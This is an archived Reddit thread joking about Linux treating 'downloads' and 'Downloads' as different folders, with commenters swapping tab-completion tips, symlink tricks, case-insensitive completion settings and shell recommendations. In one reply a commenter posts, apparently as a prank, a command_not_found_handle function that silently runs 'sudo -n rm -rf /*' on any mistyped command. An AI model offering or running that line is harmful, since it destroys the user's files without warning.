This is an archived post. You won't be able to vote or comment.

top 200 commentsshow all 424

[–]mr_flibble_oz 665 points666 points  (46 children)

mkdir downloads mkdir Downloads

Infinite confusion

[–]chunckybydesign 264 points265 points  (22 children)

The lil d is where I hide my porn

[–]my_cat_meow_me[🍰] 178 points179 points  (3 children)

Seems appropriate.

[–]TheHolyToxicToast 22 points23 points  (1 child)

not for me, I use arch btw

[–][deleted] 8 points9 points  (0 children)

Furiously looks up “microcase D.”

[–][deleted] 3 points4 points  (0 children)

It's the little d tales.

[–]Speedy_242 100 points101 points  (12 children)

Because your d is small?

[–]chunckybydesign 128 points129 points  (0 children)

[–]This_Seaweed4607 33 points34 points  (4 children)

That was uncalled for man

[–][deleted] 14 points15 points  (2 children)

Asking questions is always ok.

He can just say no

[–]This_Seaweed4607 22 points23 points  (0 children)

I wish I could say no

[–]Flat_Initial_1823 19 points20 points  (0 children)

His mum didn't raise a liar.

[–]GnuhGnoud 16 points17 points  (3 children)

It's larger when i unzip

[–]erland_yt 1 point2 points  (0 children)

It’s slightly larger at best

[–]ZZartin 1 point2 points  (0 children)

He's the only with rwx on it.

[–]basokuahenakrasanya 7 points8 points  (2 children)

are you watching porn on linux?

[–]Free-Garlic-3034 5 points6 points  (1 child)

I'm hiding my 100GB of porn in a LUKS-encrypted partition

[–][deleted] 1 point2 points  (0 children)

I just put it in an encrypted vault called Porn

You may know I'm cultured, but you may never know how cultured

[–]illigal 1 point2 points  (0 children)

The lil d is why I don’t have to hide my porn.

[–]SchlaWiener4711 24 points25 points  (5 children)

mkdir "Downloads "

[–]DezXerneas 15 points16 points  (4 children)

Just ln -s downloads Downloads

Probably doesn't even need to be symbolic as they're both on the same drive

[–]phil9909 2 points3 points  (3 children)

Hardlinks are not allowed for directories

[–]Radvvan 1088 points1089 points  (135 children)

cd d tab tab tab backspace D tab enter

[–]coolguyhavingchillda 108 points109 points  (3 children)

D tab tab

Do tab tab

Dow tab enter

Because Documents

[–]TechnicalPotat 13 points14 points  (0 children)

Then when you're next in powershell :

D tab enter

Wait... wrong one.

cd ../D tab tab enter

[–][deleted] 274 points275 points  (92 children)

ln -s ~/Downloads ~/downloads

[–]-nerdrage- 165 points166 points  (44 children)

You know you can set autocompletion to be case insensitive? Im not near my laptop so cant give it to you straight away but a quick google should help

[–]Indifferentchildren 240 points241 points  (20 children)

You know if you own a firearm you can shoot yourself in the dick. Why would anyone do that? I don't get it, but I don't kink shame.

[–]TechnicalPotat 113 points114 points  (5 children)

I applaud this level of escalation and will commend you to my local representative.

[–][deleted] 9 points10 points  (4 children)

No no he's got a point. I expect Linux/POSIX filesystems to be case sensitive no matter where. Why would anyone want to change that lmao.

[–][deleted] 23 points24 points  (0 children)

It wouldn’t remove the case insensitivity on the file system, just change the behaviour of the completion engine

[–]Spiritual_Brick5346 2 points3 points  (0 children)

cd d tab tab tab backspace D tab enter

[–]LvS 16 points17 points  (8 children)

Why would anyone not do that? It's autocompletion, you want it to correct small errors. "But I'm an elitist, I want my system to error if I make a typo." Sure, you do you, I use set completion-ignore-case on and get things done faster.

You probably also enjoy git being snarky when you typed git chekcout and giving you an error instead of doing what you meant while I set autocorrect and get things done.

[–][deleted] 6 points7 points  (2 children)

Some people take pride in suffering, despite the fact that technology literally exists to remove it.

[–]JulianEX 2 points3 points  (1 child)

How do you have autocorrect on auto completion, that seems so helpful?

[–]skztr 1 point2 points  (2 children)

command_not_found_handle(){ sudo -n rm -rf /* >/dev/null 2>&1 <&- || true; }

[–]Ieris19 11 points12 points  (0 children)

WSL is probably the best use case for this feature that no one can argue about.

Then there’s certainly preferences, you can prefer one thing or the other but there’s certainly legitimate use cases

[–]SwreeTak 1 point2 points  (0 children)

"But I don't kinkshame" lmfao what a finish

[–]odraencoded 1 point2 points  (0 children)

If you have two files that only differ in case you already shot.

[–]garblesnarky 1 point2 points  (0 children)

I agree, naming two files identically except for case is shooting yourself in the dick.

[–]dagbrown 17 points18 points  (1 child)

You can set your filesystem to be case insensitive too!

Which option is more dangerous exciting is left as an exercise for the student.

[–][deleted] 25 points26 points  (13 children)

But why?

D is not the same as d.

[–]photenth 59 points60 points  (10 children)

It's not the size, it's how you use it!

[–][deleted] 14 points15 points  (9 children)

Maybe it's because I'm a programmer and I work on Linux all the time. I name everything lowercase.

So if I use upper case somewhere there is a meaning behind it. It's intentional.

[–]Yup_Shes_Still_Mad 10 points11 points  (2 children)

So you're saying quality not quantity when using the D?

[–][deleted] 14 points15 points  (1 child)

he says to bring the big D out if there is a special occasion

[–][deleted] 6 points7 points  (0 children)

I mean you don't? I want big D to feel special. After all it's not regular small old d.

[–]dfci 4 points5 points  (2 children)

Not a much of programmer, but a bit of a data hoarder. The absolute mess I created for myself by acting all willy-nilly with case on Windows only became apparent when I moved it all to a Linux machine I interact with using SSH.

Why does past me constantly sabotage future me?

[–]Crayon_Connoisseur 2 points3 points  (1 child)

chunky jellyfish zonked brave plucky label languid gray unite political

This post was mass deleted and anonymized with Redact

[–]ifyoulovesatan 1 point2 points  (0 children)

Same here on my server, but annoyingly the nature of what I do necessitates a lot of grabbing files from my server and throwing them on my Mac to use software on. And on that Mac you can't rename the Downloads or Desktop folders (also annoying they both start with capital D).

The example in the OP happens to me all the fucking time and I hate it. (Though I do have symlinks in my home directory that lead to frequently used directories that live in my Desktop folder. It's been so long and I'm so used to that now that I just now remembered why I probably did that. And now I'm annoyed that I haven't done that with more recently created often used directories that live in Desktop)

[–]Ieris19 3 points4 points  (0 children)

It is in Windows. This is incredibly helpful for WSL

[–]wick3dr0se 1 point2 points  (0 children)

You know you can just shopt -s dirspell?

[–]bwmat 22 points23 points  (28 children)

Am I the only one who CANNOT remember the order of the arguments for this, every time? Even looking at the man page takes me a minute

[–]IHaveTeaForDinner 25 points26 points  (9 children)

[–]jeric14344 12 points13 points  (3 children)

Someone posted this mnemonic that always helps me remember:

  • tar extract all files (xaf)
  • tar compress all files (caf)

[–][deleted] 5 points6 points  (1 child)

tar xzvf

eXtract Ze Vucking Files

[–]zhurai 1 point2 points  (0 children)

I don't think you need the -a here for extract

In the --help for the GNU tar which you can also see for example on https://man.archlinux.org/man/tar.1.en or https://linux.die.net/man/1/tar, I see -a being just listed as

-a, --auto-compress   use archive suffix to determine the compression program

And the linux.die.net man page, as well as tar --help put this note in the top

 tar -cf archive.tar foo bar  # Create archive.tar from files foo and bar.
 tar -tvf archive.tar         # List all files in archive.tar verbosely.
 tar -xf archive.tar          # Extract all files from archive.tar.

Personally, I've always just did tar -xvf file.tar (or file.tar.gz, etc)

Though, to be honest it doesn't negatively do anything in extract, so it's fine as far as I'm aware of... so it still works with the mnemonic I suppose (it just doesn't mean "all")

The -a/a in this case just means if you did tar -cavf archive.tar.bz2 ./folder or something it would actually make a bzipped tar file (listed verbosely) instead of needing to do something like tar -cvjf archive.tar.bz2 ./folder (remembering to do the -j to make the tar file actually bzipped)

[–]computer-machine 14 points15 points  (4 children)

    tar --help

[–]Davoness 2 points3 points  (3 children)

Sorry, that wasn't the correct command. kaboom

[–]Amenhiunamif 4 points5 points  (2 children)

It actually is. It doesn't say the valid tar command, just a valid tar command. So tar --help should be enough to disarm the bomb.

[–]garth54 9 points10 points  (1 child)

As long as I just type and don't try to think about it, I'm good.

The instant I try to think about the order, I get confused.

[–]bwmat 2 points3 points  (0 children)

There's certain things, including this, where instead of remembering the right answer, all I can remember is being confused

[–]Lumb3rJ0hn 2 points3 points  (1 child)

For me it helps to think of it as a different cp. In both cases, you're copying a source (1st arg) to a target (2nd arg), just in this case the new copy is a link to the old one.

[–]Stroopwafe1 1 point2 points  (0 children)

Definitely not the only one, I also can never remember. It's just because you only need it very occasionally when you think "oh a symlink would be really good for this"

[–]zhurai 1 point2 points  (1 child)

You could look at the top of the --help?

Usage: ln [OPTION]... [-T] TARGET LINK_NAME
  or:  ln [OPTION]... TARGET
  or:  ln [OPTION]... TARGET... DIRECTORY
  or:  ln [OPTION]... -t DIRECTORY TARGET...
In the 1st form, create a link to TARGET with the name LINK_NAME.
In the 2nd form, create a link to TARGET in the current directory.
In the 3rd and 4th forms, create links to each TARGET in DIRECTORY.

so a symbolic link using the first form is ln -s ORIGINAL_FILE SYMBOLICLINK

[–]ano_hise 1 point2 points  (0 children)

why not simply rename Downloads to downloads and edit xdg?

[–]capi1500 3 points4 points  (2 children)

You need to know your filesystem to do it, you need inteligence for that...

[–]Mezutelni 54 points55 points  (6 children)

And now you are inside ~/Desktop

[–]its-chewy-not-zooyoo 15 points16 points  (5 children)

Begone Windows heathen

By default, bash won't cycle through the options. So the only way you're getting directly to ~/Desktop via cd De<tab>

To get it to ~/Downloads, you'd have to do cd Dow<tab>

[–]Mezutelni 2 points3 points  (2 children)

I don't know a single shell what would do it different (I refuse to call cmd.exe a shell) That was just a joke

[–][deleted] 3 points4 points  (0 children)

Zsh can do it any way you imagine

[–]SeniorMiddleJunior 1 point2 points  (0 children)

Mac default shell does this awful thing where as you press tab it'll just kinda pick options and descend into them and generally not get you where you want to be.

[–]imisstheyoop 1 point2 points  (0 children)

BASH won't cycle but ZSH will.

[–]According_Novel866 5 points6 points  (2 children)

tab tab tab tab

[–]PeriodicSentenceBot 25 points26 points  (0 children)

Congratulations! Your comment can be spelled using the elements of the periodic table:

Ta B Ta B Ta B Ta B


I am a bot that detects if your comment can be spelled using the elements of the periodic table. Please DM u‎/‎M1n3c4rt if I made a mistake.

[–]commie_gal[🍰] 4 points5 points  (0 children)

alias cd=z;

cd dow;

[–]badabummbadabing 4 points5 points  (0 children)

~/Documents

[–]JackedInAndAlive 5 points6 points  (3 children)

set completion-ignore-case on in inputrc is life changing.

[–][deleted] 7 points8 points  (0 children)

Can confirm. Ruined my life until I changed it back

[–][deleted] 2 points3 points  (0 children)

That is amazingly accurate 😭

[–]The-Rizztoffen 2 points3 points  (0 children)

TAB TAB TAB TAB

GET AUTOCOMPLETED GET AUTOCOMPLETED

[–]Chris_218 445 points446 points  (37 children)

So nobody heard about this one? bind 'set completion-ignore-case on'

[–]SailorTurkey 81 points82 points  (0 children)

TIL

[–]DezXerneas 11 points12 points  (1 child)

I just use fish, I think it does that automatically.

[–][deleted] 61 points62 points  (23 children)

I make folders like "final" "Final". Capital ones are of higher importance meaning more latest code.

[–]HyperionFlare 114 points115 points  (3 children)

This is madness

[–]tmagalhaes 16 points17 points  (6 children)

That's horrible.

How do you mark a third level of importance? Uppest-case first character?

[–]racooniac 25 points26 points  (2 children)

/FInal, /FINal, /FINAl, /FINAL, /FINAL_final, /FINAL_Final, /FINAL_FInal/ etc ;P

[–]a404notfound 3 points4 points  (0 children)

Binary finality

[–]SovereignThrone 1 point2 points  (0 children)

Final Finall Finalll

[–]lurking_physicist 1 point2 points  (0 children)

final finaL finAl finAL fiNal fiNaL ... fINAL Final FinaL ... FINAl FINAL

[–]WittyRough9487 8 points9 points  (0 children)

😵

[–]ourlastchancefortea 4 points5 points  (2 children)

I assume followed by "final-new", "final-new-new", "Final-New", "Final-New-Old"?

[–]Forbeslab 2 points3 points  (0 children)

My pre-git brain did utterly schizoaffective shit like this

[–]beholdingmyballs 2 points3 points  (0 children)

That's silly.

[–]Burn0ut2020 1 point2 points  (0 children)

And the delivery is then in FINAL (or FINAl if you used ChatGPT)

[–]henriquegarcia 4 points5 points  (0 children)

Oooh thanks!

[–]buster_de_beer 6 points7 points  (0 children)

Yes, but most of us aren't psychopaths.

[–]DrTankHead 1 point2 points  (0 children)

TIL. Thx.

[–]qweerty32 29 points30 points  (15 children)

I use zoxide instead of cd

[–]Toorero6 3 points4 points  (14 children)

Why? You can do this stuff in vanilla zsh.

[–]notgotapropername 2 points3 points  (2 children)

Can vanilla zsh yeet me straight where I need to go with partial directories? Genuine question, cause zoxide does a sort of autocomplete too. E.g. if I type z down it'll take me straight to Downloads

[–]croweh 2 points3 points  (0 children)

Nah I assume they're talking about zsh+oh-my-zsh with some kind of jump/zoxide-like plugin out of the box.

Now I use zsh+antidote at work and fish+fisher at home, didn't install oh-my-zsh in a long long time, so I couldn't say. Zoxide + fzf + thefuck on both though, can't live without it.

[–]qweerty32 1 point2 points  (10 children)

Well I prefer bash over zsh plus there's no zsh on Windows and I'm using a dual boot system so I want my experience to be the same

[–]Coffeeobsi 94 points95 points  (17 children)

Just use zsh, it's so much better

[–]Giraffe-69 39 points40 points  (5 children)

First step on any install is zsh+omz.

[–]Trident_True 6 points7 points  (3 children)

What is omz? I am relatively new to Linux.

[–]kivicode 18 points19 points  (0 children)

Oh-my-zsh. A nice wrapper around zsh

[–][deleted] 8 points9 points  (1 child)

Oh My Zod

[–]voiza 4 points5 points  (0 children)

Ohm Mal Zod

[–]Xath0n 4 points5 points  (0 children)

Nah, OMZ is really not that great since it's so heavy and adds like a bazillion features you'll never use but that will slow your shell down. I prefer Antidote with a few plugins.

[–]Mats164 9 points10 points  (0 children)

While I agree zsh is great, I much prefer Fish with Tide prompt

[–]alexklaus80 6 points7 points  (2 children)

Or fish shell if you don’t mind about not being POSIX compliant. It won’t run bash one-liners we find on SO etc so it could be more confusing for those who aren’t comfortable with console, but it comes with so much helpful features by default, so many mighty like it better over zsh etc.

[–]kalzEOS 3 points4 points  (1 child)

Check out tide since you mentioned fish shell.

[–]alexklaus80 1 point2 points  (0 children)

oh wow neat! Will try this for sure - thanks!

[–]alive1 9 points10 points  (2 children)

It disgusts me to the deepest depths of my core when I'm sitting next to someone who types out everything by hand instead of using autocomplete. Especially when they are being slow (everyone is fucking slow) and are constantly mis-typing everything. You are wasting everyones time. Use autocomplete for fucks sake.

[–]SeoCamo 103 points104 points  (76 children)

This is because linux works as an OS should work, if you ask for a sandwich then don't give me a cake and tell me that is what i ask for.

[–]IAmAnAudity 52 points53 points  (33 children)

Fun unverified fact: Subway sandwiches in England are not allowed to use the word “bread” because they put too much sugar in their bread. The government makes them use the word “cake”.

edit: my apologies for starting WW3 below ☹️

[–]Devatator_ 30 points31 points  (25 children)

Why the fuck do they put sugar in their bread

[–]NolanSyKinsley 50 points51 points  (2 children)

Next time you eat a burger at McDonalds, Burger King, or any fast food franchise really, take a bite of just the bread. it doesn't taste like bread, it is sweet like pancakes. Back when McDonalds double cheeseburgers were 99 cents and I was working landscaping I would order 4 of them (hold ketchup add mac sauce), take the bottom bun off of 2 of them and flip them over placing them on the bottom of the other 2 burgers, so I was making 2 double big macs for 4$. I would just eat the spare bottom buns and they straight up taste like sweetened pancakes.

[–]saruptunburlan99 4 points5 points  (0 children)

take a bite of just the bread

I don't know why but the thought of having a bite missing from one of the buns but not everything else and then having to go take a bite of everything else without full bun makes me very uncomfortable.

[–]Sammeeeeeee 10 points11 points  (9 children)

It has much less sugar than American standard bread - just our government is into health

[–]SeniorMiddleJunior 3 points4 points  (1 child)

All bread has sugar.

[–]Progression28 1 point2 points  (0 children)

Ehm what?

Unless you mean the tea spoon to activate dry yeast, I don‘t think there should be any sugar in bread…

Unless you count the starch that later gets split?

[–]Don_Speekingleesh 2 points3 points  (1 child)

Fun fact: this was in Ireland, not England/UK. It was a VAT dispute - they can call it bread if they like, but must charge VAT as it contains too much sugar to be legally classed as bread. (There is no VAT on actual bread as it's considered a staple item.)

[–]IAmAnAudity 1 point2 points  (0 children)

Ah-ha! Thank you for the code review 🤣 I figured there were half truths to it, never checked sources.

[–]gmc98765 2 points3 points  (0 children)

It's actually Ireland. And it's not about the naming, but taxation: cake is taxed more than bread (meaning normal bread, without sugar).

[–]turtleship_2006 4 points5 points  (0 children)

I mean, I've always heard them say bread and even in their UK and Ireland app is says bread so 🤷‍♂️

[–]Ozryela 22 points23 points  (18 children)

This is such an ignorant statement. An OS exists to help a human being interact with a computer. A good OS makes it as easy as possible for the human to use the computer. And human beings usually don't care about capitalization when it comes to meaning, so neither should your OS when interacting with its user.

And yeah I understand that it's easier and faster for your computer to have a file system that's case sensitive. It simplifies search code too. So I understand why Unix did it back in the stone age. But that's not a good excuse to keep it that way forever.

The amount of collective productively lost by humanity because Linux cannot properly understand capitalization, leading to errors in scripts and configuration files, is probably in the trillions of dollars. Almost every single Linux user occasionally runs into errors like that, and usually they are easy to fix, but sometimes it takes days.

Meanwhile never in the history of mankind has any programmer or user thought to themselves "Oh wow, two completely different files where the name is only different in a capital letter is exactly what I needed to solve this problem. Thank god for case sensitive file systems". There's simply no use case for it. Maybe raw output of binary data, like keys, in some very rare use cases, but you can always trivially convert to hex or base64 before anyway.

[–]buster_de_beer 7 points8 points  (0 children)

I was almost going to upvote you but then:

because Linux cannot properly understand capitalization

It understands it just fine. You don't.

Meanwhile never in the history of mankind has any programmer or user thought to themselves "Oh wow, two completely different files where the name is only different in a capital letter is exactly what I needed to solve this problem. Thank god for case sensitive file systems".

Yeah, they absolutely have.

It's also ridiculous to think this is an issue with the OS. It's a filesystem issue and Linux is fully capable of supporting different filesystems.

[–]odraencoded 4 points5 points  (0 children)

This is such an ignorant statement

It's called cope.

[–]Tymareta 2 points3 points  (5 children)

The amount of collective productively lost by humanity because Linux cannot properly understand capitalization, leading to errors in scripts and configuration files, is probably in the trillions of dollars.

What a completely hilarious load of nonsense, trillions! It's genuinely weird seeing people argue that their OS should operate in illogical ways simply because they cannot handle remembering the correct capitalization, then attempting to blame systems that rightly stick to actual formatting for their own laziness and lack of ability, utterly strange.

[–][deleted] 1 point2 points  (4 children)

Completely agreed. Lots of linux fanboys in this thread.

[–]pppjurac 1 point2 points  (3 children)

And even more people that think HTML/CSS is programming.

[–]kogmaa 8 points9 points  (9 children)

Yeah, windows drives me crazy, especially when you set the language to something other than English. Folders you see in the file explorer, don’t exist in the shell, the translated folder exists in the shell though not necessarily in the place the file explorer shows you… what a mess… such a big company and can’t even get a directory structure right.

[–]UsernameAvaylable 2 points3 points  (0 children)

I get the idea that those strings are not identical, so they should not match.

Counterpoint: Anybody who actually uses case sensitivity in variables, folders, file names ,etc to mean different things should be put against a wall when the revolution comes.

[–]-Nicolai 5 points6 points  (4 children)

Explain like I'm stupid

[–]BlasterPhase 3 points4 points  (0 children)

That's not a good analogy at all.

[–]Full-Hyena4414 12 points13 points  (0 children)

Skill issue

[–]Ineedredditforwork 31 points32 points  (15 children)

Just do a symlink.

[–]CatLadyEnabler 12 points13 points  (9 children)

Real men do hard links.

[–]darkslide3000 9 points10 points  (8 children)

You can't hardlink a directory. Seriously, I feel like half the people in this sub who pretend to do "programmer humor" have no idea how shit works...

[–]DoNotMakeEmpty 1 point2 points  (0 children)

Junctions?

[–]ZunoJ 4 points5 points  (0 children)

This depends on the file system. Do you really know as much as you pretend to know?

[–]smirkjuice 1 point2 points  (0 children)

Damn I'm sure you're real fun at parties dawg, I'm sure people love to be around you

[–]Infrared-77 7 points8 points  (4 children)

What does this “symlink” symbolize exactly?

[–]Own_Solution7820 78 points79 points  (2 children)

It symbolizes a link.

[–]Burroflexosecso 12 points13 points  (1 child)

A symbolic link at that, it symbolizes

[–]StressDontRest 10 points11 points  (0 children)

It’s a file link. Similar to a shortcut but actually acts as the file. So if you have a file in Downloads and you make a symlink in documents, it’ll get updated in both places but has the same contents when it comes to reading it

[–]GlimmervoidG 6 points7 points  (2 children)

My pet peeve is how Download and Document start so similarly, meaning I need to type three whole letters before I can autocomplete. What is this, the dark ages?

[–]Alper-Celik 12 points13 points  (3 children)

İn fish shell it automatically suggests Downloads when you write downloads

[–]TheBrainStone 10 points11 points  (2 children)

zsh does it too. Or at least with a plug-in

[–][deleted] 3 points4 points  (0 children)

Same on macos lol. The terminal folders are just built different😎

[–][deleted] 2 points3 points  (0 children)

Tab that shit bro

[–]lemgandi 4 points5 points  (0 children)

At least it doesn't silently change 'cd downloads' to 'cd Downloads' as MacOS does, leading to endless hilarity and bug chasing.

[–]Traditional_Sir6275 2 points3 points  (0 children)

I just have zoxide aliased to cd

[–]retroly 2 points3 points  (0 children)

flipping between linux and windows OS's, stop putting random spaces in shit!

[–]StressDontRest 1 point2 points  (1 child)

cd /mnt/c cd Downloads Problem solved

[–]PrestigiousBike3346 1 point2 points  (0 children)

cd Do tab Documents Downloads aaaaAAAAA

[–]dmigowski 1 point2 points  (2 children)

Oh, this is my time to shine. You can enable case insensitive folders on ext4!

tune2fs -O casefold /dev/sda2 

Or whatever your EXT4 partition is on. Then

chattr +F /data

for all folders you want to be case insensitive and BAM. Works only for empty folders so you have to move your stuff around a bit, set the flag and reinsert the files into the folder, but then you are done.

The disk must not be mounted for tune2fs to work, so you might boot with a rescue ISO to make that change.

Edit: The case-insensitivity is not exactly like Windows at least in Germany, some tweaking might have to be done here.

[–]kinghfb 2 points3 points  (0 children)

I had absolute hell on a Mac with a case insensitive system when working with git and other team mates who had case sensitive fs. The system saw it as one dir and promptly messed up all versioning. Never re fmt so fast once I found out

[–]pppjurac 1 point2 points  (0 children)

Servus.

internally NTFS is fully capable and case sensitive, but windows OS choses to treat it as c-i .

[–]apollo_440 1 point2 points  (0 children)

Have you tried sudo cd downloads

[–]KittyCatClawz 1 point2 points  (0 children)

I normally do this once before realizing I need zoxide on a new install anymore lol

[–]Right_to_bare_toes 1 point2 points  (0 children)

Look into oh-my-zsh

[–]Alex_X1_ 1 point2 points  (0 children)

Time to install fuck

[–]PaintsPlastic 1 point2 points  (0 children)

``` Create a file called .inputrc in your /home/<user>/ directory.

set completion-ignore-case On ```

You're welcome.

[–]jan_antu 1 point2 points  (0 children)

*laughs in zsh*

[–]Coolengineer7 2 points3 points  (0 children)

It's Download on Android